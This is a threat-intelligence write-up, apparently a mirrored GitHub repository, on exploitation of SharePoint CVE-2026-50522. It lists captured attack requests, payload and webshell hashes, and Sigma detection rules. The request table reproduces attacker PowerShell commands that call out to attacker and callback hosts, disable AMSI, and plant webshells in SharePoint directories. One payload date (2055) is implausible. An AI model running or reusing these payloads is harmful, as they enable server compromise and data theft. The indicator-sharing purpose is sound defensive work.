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CVE-2026-50522 — Microsoft SharePoint CVE-2026-50522 | Kitploit
Tools/GitHubGitHub/darses/cve-2026-50522
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRemote Access Tool
GitHubdarses/cve-2026-50522

CVE-2026-50522

Microsoft SharePoint CVE-2026-50522

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312 months agoNot yet reviewed

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# CVE-2026-50522

Microsoft SharePoint CVE-2026-50522 payloads and analysis.

## HTTP requests

| request   | src              | user-agent | encoding | unique id | payload |
| --------- | ---------------- | ---------- | -------- | --------- | ------- |
| 816978882 | `45.63.58.216`   | `Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36` | `'` | `urn:unique-id:securitycontext:b764f8e60e90450b8629b5ce74fccf82` | `powershell.exe -NoProfile -NonInteractive -Command Invoke-WebRequest -UseBasicParsing 'http://45.63.58.216:80/b764f8e60e90450b8629b5ce74fccf82'` |
| 818198798 | `146.19.216.119` | `Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.26100.33158` | `'` | `urn:unique-id:securitycontext:2965f1ebb795466c82f01142ca764efa` | `Main.dll` |
| 819557248 |                  | `Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0` | `"` | `urn:unique-id:securitycontext:8e1a54521f004b19880a4823bcdd3a94` | `ayhmu2nq.dll` |
| 819736316 | `165.154.199.52` | `Mozilla/5.0` | `'` | `urn:uid:f7e4a5a8041648ef88f4befd099b1c61` | `eze1fcmh.dll` |
| 822026610 | `89.117.94.35`   | `Python-urllib/3.12` | `"` | `urn:unique-id:securitycontext:77b2293ba0f5464db990f3d2ae402698` | ActivitySurrogateDisableTypeCheck |
| 822026616 | `89.117.94.35`   | `Python-urllib/3.12` | `"` | `urn:unique-id:securitycontext:401e5797f3864092a836f92976a6506f` | `edm3ysnc.dll` |
| 822486322 | `199.91.221.39`  | `Mozilla/5.0 (compatible; SPOOB/1.0)` | `"` | `urn:unique-id:securitycontext:0e5062c6139e48e3bd951e88b3165a48` | `opctzxj4.dll` |
| 822730890 | `199.91.221.39`  | `Mozilla/5.0 (compatible; SPMKScan/1.1)` | `"` | `urn:unique-id:securitycontext:64ca3f7733c04b8cbcd859e1c08ebb54` | `ko5ybodq.dll` |
| 823155656 | `175.137.255.204`| `Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36` | `"` | `urn:unique-id:securitycontext:6ae69a0ebb7c4b66b7e8cc6f232a7ce3` | `powershell.exe -NoProfile -NonInteractive -Command Invoke-WebRequest -UseBasicParsing 'http://d9k41hj3d47lhf7hbhlg6enhdi7tqb3uk.oast.me/206.255.76.17'` |
| 823277752 | `103.151.172.73` | `Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36` | `"` | `urn:unique-id:securitycontext:ed252fcd4481466d9f70d3a693a9d073` | `nslookup 9ac2293c.log.dnslog.pp.ua` |
| 823452414 | `38.175.103.78` | `Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0` | `"` | `urn:unique-id:securitycontext:50fe1b81594845f293362037b3b4b32d` | `powershell.exe -NoProfile -NonInteractive -Command $ErrorActionPreference='SilentlyContinue';$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils');if($a){$f=$a.GetField('amsiInitFailed','NonPublic,Static');if($f){$f.SetValue($null,$true)}};$c=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('[SNIP ERROR.aspx webshell'));$dirs=@('C:\inetpub\wwwroot\wss\VirtualDirectories','C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\15\TEMPLATE\LAYOUTS','C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS');foreach($d in $dirs){if(Test-Path $d){Get-ChildItem $d -Recurse -Directory -ErrorAction SilentlyContinue|Select -First 10|%{try{[IO.File]::WriteAllText((Join-Path $_.FullName 'error.aspx'),$c)}catch{}}}};try{Invoke-WebRequest -UseBasicParsing 'http://204.238.213.108.d9kbdma6q7l4p94q09fgk57xppnrtrwf4.oast.site/d' -TimeoutSec 3}catch{}` |
| 824307296 | `190.5.224.135` | `Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36` | `"` | `urn:unique-id:securitycontext:0584ba10642c43e2850bff4122a81514` | `powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand JABFAHIAcgBv[SNIP]`, `$ErrorActionPreference='SilentlyContinue';$ProgressPreference='SilentlyContinue';$webshellB64='[SNIP default_settings.aspx webshell]';$msg='NOPATH';$done=$false;@('16','15')|%{if(-not $done){$hive=$_;$path="C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\$hive\TEMPLATE\LAYOUTS";if(Test-Path $path){try{$out=Join-Path $path '_settings.aspx';[IO.File]::WriteAllBytes($out,[Convert]::FromBase64String($webshellB64));$msg="OK:layouts$hive;path=$out";$done=$true}catch{$msg="FAIL:layouts$hive;err=$($_.Exception.Message.Replace(\"'\",\"`'\"))"}}else{$msg="NOPATH:layouts$hive"}}};if(-not $done){$appcmd=Join-Path $env:SystemRoot 'System32\inetsrv\appcmd.exe';if(Test-Path $appcmd){try{$lines=& $appcmd list vdir /text:physicalPath 2>$null;foreach($l in $lines){if(-not $done){$p=$l.Trim();if($p-and(Test-Path $p)-and($p -notmatch 'system32|windows\\system')){try{$out=Join-Path $p 'default_settings.aspx';[IO.File]::WriteAllBytes($out,[Convert]::FromBase64String($webshellB64));$msg="OK:appcmd;path=$out";$done=$true}catch{}}}}}catch{}}};if(-not $done){@('C:\inetpub\wwwroot\wss\VirtualDirectories\80','C:\inetpub\wwwroot','C:\inetpub\wwwroot\wss\VirtualDirectories\443')|%{if(-not $done-and(Test-Path $_)){try{$out=Join-Path $_ 'default_settings.aspx';[IO.File]::WriteAllBytes($out,[Convert]::FromBase64String($webshellB64));$msg="OK:common;path=$out";$done=$true}catch{}}}};try{Invoke-WebRequest -UseBasicParsing 'http://vpn.emeraldwind.net.qebc5h55.requestrepo.com?r='+[uri]::EscapeDataString($msg)}catch{}` |

## Payloads

| file name      | file hash SHA-256                                                  | creation time (UTC) | notes |
| -------------- | ------------------------------------------------------------------ | ------------------- | ----- |
| `14e2gtsh.dll` | `8bd04f0213c39f07c4baa283375017463e20642545a6fefcbcb6d792c7ee6d9d` | 2026-07-24 03:00:13 | Returns MachineKeys |
| `ayhmu2nq.dll` | `edb087336f22a152d9023416b60ee74db2d30e5df52f2166f5dd1b4ae70aa2eb` | 2026-07-24 01:47:55 | Enables WinRM with CompatibilityHttpsListener, adds user `sp_admin` and adds it to localgroup administrators |
| `b4tg4ktk.dll` | `824052c860945c1bda536f20318429240319f4f59bc4cf8740a0d6bffe2b9966` | 2026-07-23 07:53:59 | Returns MachineKeys and status code `200` |
| `bwd0vdqa.dll` | `afce3e097f06e1c5e4dd3422dd7ebc6615a94b111a8b7ab5333071fbb1ecbb35` | 2026-07-23 02:54:54 | Returns MachineKeys |
| `edm3ysnc.dll` | `91d18bcd4532c7f64a220ca65971e2a41d435148e4ac9811bfc33d2a8fb70549` | 2026-07-22 10:54:43 | Returns MachineKeys |
| `eze1fcmh.dll` | `02fe5d24867227cb4bff7d3f019d804a19158e3de1de0729fdd067aae55b0bbd` | 2026-07-24 02:37:59 | Writes webshell/backdoor `cmRANDOM.aspx` |
| `hyyavam5.dll` | `74c205b86a8c0884d968225e20db2624164021df14987bc7f602a9ed45ed6c8f` | 2026-07-26 03:20:01 | |
| `jflyahz3.dll` | `352e47e996a1b43250a4462fa259e12b1fee726abe1be42f1806b30be9459151` | 2026-07-23 07:15:43 | Returns MachineKeys |
| `ko5ybodq.dll` | `249fea110682ff603bf24f9c1147eae73642b186c7a23022d5f824498b8fcd66` | 2026-07-27 14:41:06 | |
| `Main.dll`     | `7baf220eb89f2a216fcb2d0e9aa021b2a10324f0641caf8b7a9088e4e45bec95` | 2055-02-11 11:16:12 | ReturnsMachineKeys. Payload used before during the ToolShell campaign. |
| `obdw11tn.dll` | `2ed05c2ff5977047a5aa779510983f7f27b1fde8a0ce6ac8611341eea55f9e37` | 2025-07-29 08:50:39 | Returns Machinekeys |
| `opctzxj4.dll` | `f5c8c39b29d061d72eaefcf1ff19511bdab5d4b3c9849df4ead07dbe61364ee2` | 2026-07-27 15:32:46 | |
| `tyt0qmyy.dll` | `46e5aedd0e699bf0a3ad8f8cd67d79b51d65ce77e02ff96a49617d5c8c3fe4d7` | 2026-07-20 08:55:23 | Returns HTTP response header `sec-ch-ua-mobile: ?1` |
| `z1zkfu55.dll` | `ab2e01650b20787dd940475041f83f19c4e025988fcf8aab443ca607003da012` | 2026-07-26 04:49:55 | |
| `gzlzbkhj.dll` | `52f4af0401258daa9a278710145a9d0d67a35147f0ea136b8868436295348933` | 2026-07-25 14:08:17 | |
| `qho14tqo.dll` | `814db355b4a03fbd6fa138b37a04dd5ff24d9bc5d15e24474f149b220e9c6078` | 2026-07-23 06:58:36 | |

## Webshells

| file name | file hash SHA-256 | notes |
| --------- | ----------------- | ----- |
| `cmRANDOM.aspx`  | `450839ecab9cb5595b4f6088e7b16d7ea3a5289f2afcc7ae89c041ae046e2511` | Webshell "Helper Tool" and filename `cm{RANDOM}.aspx`. Executed payloads are executed in-memory using `Assembly.Load(assemblyBytes)`. The filename is randomised. |
| `default_settings.aspx` | `f72a4d95b4c49bb9ffac869d2a30d829f2519d2f6a1a86bcea54dbeffc34f550` | Webshell location `TEMPLATE\LAYOUTS` or `\wss\VirtualDirectories\` |
| `error.aspx` | `291dc1f15143c2c87fd2257b6145069914bdffa2f6be9afa63169f8661d9cc4b` | Webshell location `C:\inetpub\wwwroot\wss\VirtualDirectories`, `C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\15\TEMPLATE\LAYOUTS`, `C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS`. |
| `layout2sp.aspx` | `d7ba3ef04a5809d6c672a13bbd7d6a3fc6317faeefbae98bec437ade0475a597` | Webshell location `\TEMPLATE\LAYOUTS\layout2sp.aspx`. |

## Detections

Detections were not verified with actual logs.

| type | rule | notes |
| ---- | ---- | ----- |
| Sigma | [DNS Query to External Service Interaction Domains](https://github.com/SigmaHQ/sigma/blob/master/rules/network/dns/net_dns_external_service_interaction_domains.yml) | Detects outbound DNS queries for the callback domains like `.log.dnslog.pp.ua`, `.oast.me`, `.oastify.com`. |
| Sigma | [New User Created Via Net.EXE](https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_net_user_add.yml) | Detects new users added using `net.exe`. |
| Sigma | [Potential WMI Lateral Movement WmiPrvSE Spawned PowerShell](https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_wmiprvse_spawns_powershell.yml) | Detects lateral movement via WMI. |
| Sigma | [Suspicious File Write to SharePoint Layouts Directory](https://github.com/SigmaHQ/sigma/blob/master/rules/windows/file/file_event/file_event_win_susp_filewrite_in_sharepoint_layouts_dir.yml) | Detects file writes to SharePoint folder `\TEMPLATE\LAYOUTS\`. |
| Sigma | [Suspicious PowerShell Parent Process](https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_powershell_susp_parent_process.yml) | Detects process spawn `powershell.exe`  by `w3wp.exe`. |
| Sigma | [Suspicious Process By Web Server Process](https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_webshell_susp_process_spawned_from_webserver.yml) | Detects suspicious processes spawned from `w3wp.exe`. |
| Sigma | [Suspicious Processes Spawned by WinRM](https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_winrm_susp_child_process.yml) | Detects suspicious processes including shells spawnd from WinRM host process. |
| Sigma | [Webshell Detection With Command Line Keywords](https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_webshell_recon_commands_and_processes.yml) | Detects certain command line parameters often used during reconnaissance activity via web shells. |
| Sigma | [Webshell Hacking Activity Patterns](https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_webshell_hacking.yml) | Detects certain child processes from `w3wp.exe` |
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